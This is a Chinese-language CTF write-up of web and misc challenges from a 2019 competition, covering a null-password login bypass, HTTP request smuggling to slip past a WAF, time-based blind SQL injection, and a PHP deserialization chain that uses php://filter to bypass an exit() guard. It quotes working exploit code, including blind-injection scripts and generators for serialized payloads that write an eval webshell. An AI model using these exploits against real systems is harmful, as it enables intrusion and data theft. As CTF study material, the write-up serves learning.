ESI web学习记录
Ezbypass
解出
放在php新特性的文章最后了,利用json反序列化脚本绕过disable_functions来get flag
Ezupload
没解出
登陆页面查看源代码发现,备份文件泄露。vim -r恢复
得到源码
<?php #error_reporting(0); session_start(); include "config.php"; $username = $_POST['username']; $password = $_POST['password']; if (isset($username)){ $sql = "select password from user where name=?"; if ($stmt = $mysqli->prepare($sql)) { $stmt->bind_param("s", $username); $stmt->execute(); $stmt->bind_result($dpasswd); $stmt->fetch(); if ($dpasswd === $password){ $_SESSION['login'] = 1; header("Location: /upload.php"); }else{ die("login failed"); } $stmt->close(); } }else{ header("Location: /index.php"); } $mysqli->close();
当时想了,并且也找了很久如何绕过预编译,看WP发现如何绕过。重点在这里
$dpasswd===$password
判断select结果的$dpasswd与post输入的$password是否相等,在此可以绕过。
可以随便传入不存在的username,不传入password字段,导致select结果为null,并且$password也为null,因此null===null,等式成立绕过。
burp抓包删除$password字段,放包进入upload.php
源代码查看,指定了.jpg,.jpeg,png
直接审查元素删除掉,然后上传php提示上传失败。只能上传jpg。尝试上传.htaccess结合jpg文件包含
文件上传.htaccess就不用多说了老套路。直接尝试getshell
现在好多都是通过readflag去获得flag
感谢环境一直没有关,懒了两天,补上这些复现。第一步真的想了很久不知道怎么绕过预编译,看了WP恍然大悟。发散性思维太差了。😔
Ezwaf
赛中没看,赛后尝试作答,没有解出。
然后看了WP,发现http走私。。。我傻了,easy_calc刚用过这个。很可惜,没有好好的解体和发现题目的涵义。Ezwaf
源代码:
<?php include "config.php"; if (isset($_GET['src'])) { highlight_file(__FILE__); } function escape($arr) { global $mysqli; $newarr = array(); foreach($arr as $key=>$val) { if (!is_array($val)) { $newarr[$key] = mysqli_real_escape_string($mysqli, $val); } } return $newarr; } $_GET= escape($_GET); if (isset($_GET['name'])) { $name = $_GET['name']; mysqli_query($mysqli, "select age from user where name='$name'"); }else if(isset($_GET['age'])) { $age = $_GET['age']; mysqli_query($mysqli, "select name from user where age=$age"); }
从源代码可以发现,存在mysqli_real_escape_string过滤函数
虽然name是字符型有单引号包括,可能被过滤,但是age确实数字型注入,可以实现注入。
从源代码可以发现,并没有回显,所以这道题应该是用时间盲注来解题,传入
age=if(1,sleep(5),0)
发现直接返回403Forbidden
到这里后一脸懵逼???wtf,包含的也是config.php,并不应该是waf啊,看了WP用的是http走私,才发现可能是有一层代理服务器。可以通过http走私协议绕过。
两个content-length绕过走起,测试成功,确实能绕过waf。(暴捶自己一顿,之前还通过easy_calc学习了http走私)
或者Transfer-Encoding: chunked绕过
wp中说payload:age=1+and+sleep(5)无法成功,尝试发现确实不行,改成or后可以了。
那问题来了,如何编写带有http走私的wp,requests请求设置'Content-length':' '即可。
测试database
tables
columns
flag
盲注了半年也没出来/(ㄒoㄒ)/~~,估计长度不止10,加长度为15,爆出完整列明flag_32122
20长度也不够啊,修改起始位置
这里附上两个wp中的脚本,其实一个用socket直接传输http请求,另一个是常规脚本
import socket import string url = "111.186.57.43" port = 10601 flag = "" for i in range(1,50): for j in string.printable: s = socket.socket() s.connect((url, port)) s.settimeout(3) data = "GET /?age=0 or ascii(substr((select flag_32122 from flag_xdd),".replace(" ","%20")+str(i)+",1))="+str(ord(j))+" and sleep(10) HTTP/1.1\r\nHost:111.186.57.43:10601\r\nConnection:close\r\nContent-Length:0\r\nContent-Length:0\r\n\r\n".replace(" ",'%20') print data s.send(data) try: s.recv(1024) s.close() except: flag = flag + chr(j) print flag s.close() break
import requests import urllib flag = '' pos = 1 url = 'http://111.186.57.61:10601/?age=' while True : for i in range(0,128): try: # res = requests.get(url+urllib.quote('-1 or if((ascii(substring((select group_concat(table_name) from information_schema.columns where table_schema=database()) from %d for 1))=%d),sleep(4),1)'%(pos,i)),headers={'Content-Length':''},timeout=2) # flag_xdd # res = requests.get(url+urllib.quote('-1 or if((ascii(substring((select group_concat(column_name) from information_schema.columns where table_name=0x666c61675f786464) from %d for 1))=%d),sleep(4),1)'%(pos,i)),headers={'Content-Length':''},timeout=2) # flag_32122 res = requests.get(url+urllib.quote('-1 or if((ascii(substring((select group_concat(flag_32122) from flag_xdd ) from %d for 1))=%d),sleep(4),1)'%(pos,i)),headers={'Content-Length':''},timeout=2) except Exception ,e: flag +=chr(i) print flag break pos = pos+1 print "oops"
Ezpop
没解出
题目源码:
<?php error_reporting(0); class A{ protected $store; protected $key; protected $expire; public function __construct($store, $key = 'flysystem', $expire = null) { $this->key = $key; $this->store = $store; $this->expire = $expire; } public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', ]); foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } } return $contents; } public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]); } public function save() { $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire); } public function __destruct() { if (! $this->autosave) { $this->save(); } } } class B{ protected function getExpireTime($expire): int { return (int) $expire; } public function getCacheKey(string $name): string { return $this->options['prefix'] . $name; } protected function serialize($data): string { if (is_numeric($data)) { return (string) $data; } $serialize = $this->options['serialize']; return $serialize($data); } public function set($name, $value, $expire = null): bool { $this->writeTimes++; if (is_null($expire)) { $expire = $this->options['expire']; } $expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name); $dir = dirname($filename); if (!is_dir($dir)) { try { mkdir($dir, 0755, true); } catch (\Exception $e) { // 创建失败 } } $data = $this->serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { //数据压缩 $data = gzcompress($data, 3); } $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data); if ($result) { return true; } return false; } } if (isset($_GET['src'])) { highlight_file(__FILE__); } $dir = "uploads/"; if (!is_dir($dir)) { mkdir($dir); } unserialize($_GET["data"]);
这道题涉及到死亡exit的知识,P牛的文章中有详细介绍。
file_put_contents
php://filter/write=convert.base64-decode/resource 以字符base64解密写入 php://filter/write=string.strip_tags/resource 以去除字符串标签写入 php://filter/write=string.rot13/resource 以字符rot13编码写入 用此法绕过的话,需要php中不支持短标签,php7.x中不支持短标签
php://filter/write=string.strip_tags|convert.base64-decode/resource 去除标签并且base64解密
本地实验string.strip_tags
本地实验string.strip_tags|convert.base64-decode
可以去掉填充的两个==
其他的不再实验。从这道题学到了很多知识
从大佬的WP中收集了两个exp
来自https://zhzhdoai.github.io/
<?php error_reporting(0); class A{ protected $store; protected $key; protected $expire; public $complete; public $cache; public function __construct() { $this->key = ".php"; $this->store = (new B()); $this->expire = 6666; $this->complete="IDw/cGhwIGV2YWwoJF9QT1NUW29zd29yZF0pOz8+"; $this->cache=["1"]; } } class B { public $options; public function __construct() { $this->options['prefix']='php://filter/write=string.strip_tags|convert.base64-decode/resource=./uploads/osword1'; $this->options['serialize']='serialize'; $this->options['data_compress']=0; } } echo urlencode(serialize((new a())));
来自https://www.jianshu.com/p/763427ea0e4b
<?php class A{ protected $store; protected $key; protected $expire; public function __construct() { $this->key = '1.php'; } public function start($tmp){ $this->store = $tmp; } } class B{ public $options; } $a = new A(); $b = new B(); $b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=./uploads/"; $b->options['expire'] = 11; $b->options['data_compress'] = false; $b->options['serialize'] = 'strval'; $a->start($b); $object = array("path"=>"PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+"); $path = '111'; $a->cache = array($path=>$object); $a->complete = '2'; echo urlencode(serialize($a)); ?>
第二个脚本就是取交集使获得base64的字符串,但是需要算字数,因为要满足base64 4个字节为一组的形式,所以需要算$data之前的字节数,保持4个字节为一组将前面的<??>标签中的内容正常解码,否则影响后续写入内容。其实这里不用猜的,可以去fuzz尝试,在本地尝试字符串,先尝试填充字符串看能否base64-decode,如果decode出来完整的一句话木马说明成功。
<?php $object = array("path"=>"PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+"); $path = '111'; $contents = array($path=>$object); #var_dump($contents); $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', ]); foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } } $complete='2'; echo json_encode([$contents, $complete]); $strings='aaa'; $data = $strings."<?php\n//" . sprintf('%012d', 11) . "\n exit();?>\n"."PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+"; echo base64_decode($data); ?>
第一个脚本不需要计算字数,通过
php://filter/write=string.strip_tags|convert.base64-decode/resource=./uploads/osword1
用strip_tags去除了XML整个标签内容,并且再base64解码写入。第一个脚本巧妙在直接$this->cache=["1"];,然后结合json_encode和serialize
解释下为什么可以,因为base64解码默认的解码范围如下
所以: " [ ] , 都不在解码范围.所以直接被忽略
s:51:"[["1"],"IDw\/cGhwIGV2YWwoJF9QT1NUW29zd29yZF0pOz8+"]";
能解码的部分就为
s511IDw\/cGhwIGV2YWwoJF9QT1NUW29zd29yZF0pOz8+
前面的s511四个字节为一组,解码为..u
因此就会解码为..u <?php eval($_POST[osword]);?>形成了正确的形式。因为用了
string.strip_tags|convert.base64-decode/resource
因此<??>标签中的内容直接被string.strip_tags去除
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
注意这里,不要认为\n中的n会被算进去base64解码的字符数,因为这里用的双引号,不会对base64解码造成任何影响。
现在环境还开着,可以尝试去复现。
补充:
序列化注意事项 public: 可以class内部调用,可以实例化调用。 private: 可以class内部调用,实例化调用报错。 protected: 可以class内部调用,实例化调用报错
base64筛选
<?php
$yunying = preg_replace('/[^a-z0-9A-Z+\/]/s', '', $yunying);
echo base64_decode($yunying);
twocats
学习下misc,这道题涉及到盲水印
两张图片,不是比较异或,就是盲水印
直接用BWM脚本解密
然后人眼识别。。不知道怎么提取。
有的可能不是脚本加密,那就用工具解密
misc2
#!/usr/bin/env python # -*- coding: utf-8 -*- import os from flask import request from flask import Flask secret = open('/flag', 'rb') os.remove('/flag') app = Flask(__name__) app.secret_key = '015b9efef8f51c00bcba57ca8c56d77a' @app.route('/') def index(): return open(__file__).read() @app.route("/r", methods=['POST']) def r(): data = request.form["data"] if os.path.exists(data): return open(data).read() return '' if __name__ == '__main__': app.run(host='0.0.0.0', port=8000, debug=False)
赛后复现misc,总感觉这是猜路径,找不到后,看了下WP,发现是用了/dev/fd/3 然后去百度了一下
/dev/fd是Linux的一个特性,其中/dev/fd/0是指标准输入(STDIN),/dev/fd/1是指标准输出(STDOUT)/dev/fd/2是指错误输出(STDERR),每个进程都有自己的/dev/fd/
貌似是/dev/fd/3是指向当前进程有关的东西
http://www.kbase101.com/question/32015.html
在该ls示例中,我可以想象描述符3是用于读取文件系统的描述符。一些open()支持文件描述符生成的C命令(例如)保证返回“编号最小的未使用文件描述符”(POSIX-注意,低级open()实际上不是标准C的一部分)。因此,它们在关闭后会被回收(如果您反复打开和关闭不同的文件,您将一次又一次得到3作为fd)。
misc1
编码切换为EBCDIC
学习资料:
https://zhzhdoai.github.io/2019/11/21/2019-%E9%AB%98%E6%A0%A1%E7%BD%91%E7%BB%9C%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%AE%A1%E7%90%86%E8%BF%90%E7%BB%B4%E6%8C%91%E6%88%98%E8%B5%9Bweb%E9%83%A8%E5%88%86%E9%A2%98%E8%A7%A3 https://www.jianshu.com/p/763427ea0e4b https://blog.xiafeng2333.top/ctf-15/
http://www.zjun.info/2019/11/21/EIS-2019-CTF%E9%83%A8%E5%88%86WP/